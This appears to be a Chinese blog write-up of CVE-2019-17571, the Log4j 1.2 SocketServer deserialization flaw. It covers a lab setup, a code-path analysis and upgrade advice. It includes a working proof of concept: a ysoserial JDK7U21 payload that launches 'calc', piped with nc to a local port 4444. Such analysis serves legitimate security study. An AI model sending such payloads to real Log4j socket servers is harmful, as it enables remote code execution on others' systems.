Apache Log4j 漏洞分析

仅用于研究漏洞原理,禁止用于非法用途,后果自负!!!

CVE-2019-17571

漏洞描述

Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开源日志记录工具。Log4j 1.2版本中包含一个SocketServer类,在未经验证的情况下,该SocketServe类很容易接受序列化的日志事件并对其进行反序列化,在结合反序列化工具使用时,可以利用该类远程执行任意代码。

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

环境搭建

方便测试,添加JDK7U21的漏洞环境

  1. 新建Maven项目,pom.xml中添加
<dependencies>
    <dependency>
        <groupId>log4j</groupId>
        <artifactId>log4j</artifactId>
        <version>1.2.17</version>
    </dependency>
</dependencies>
  1. 编写测试方法
public class CVE_2019_17571 {

    private static final Logger log = Logger.getLogger(SimpleSocketServer.class);
    public static void main(String[] args) {

        System.out.println("start:");

        String[] argss = {"4444", "src/log4j.properties"};

        SimpleSocketServer.main(argss);

        log.info("succ");
    }
}
  1. Ysoserial生成POC(JDK7U21),发送POC
java -jar ysoserial.jar JDK7U21 "calc" > poc.ser
cat poc.ser | nc 127.0.0.1 4444

漏洞分析

  • org.apache.log4j.net.SimpleSocketServer#main()
    首先开启Log4j自带的SocketServer服务器时,会监听设置的端口,然后获取Socket对象,进入SocketNode类进行处理.
    Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析 Safe 第1张
  • org.apache.log4j.net.SocketNode
    SocketNode类的构造方法中会对socket接收的数据封装为一个Object流对象.
    Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析 Safe 第2张
  • org.apache.log4j.net.SocketNode#run()
    在run()方法中直接进行反序列化
    Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析 Safe 第3张

    漏洞修复

    目前官方已在Apache Log4j 2.8.2版本之后修复了该漏洞,请受影响的用户升级至2.8.2 或更高的版本进行防护.

    参考

    【威胁通告】Apache Log4j 反序列化远程代码执行(CVE-2019-17571)漏洞威胁通告

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄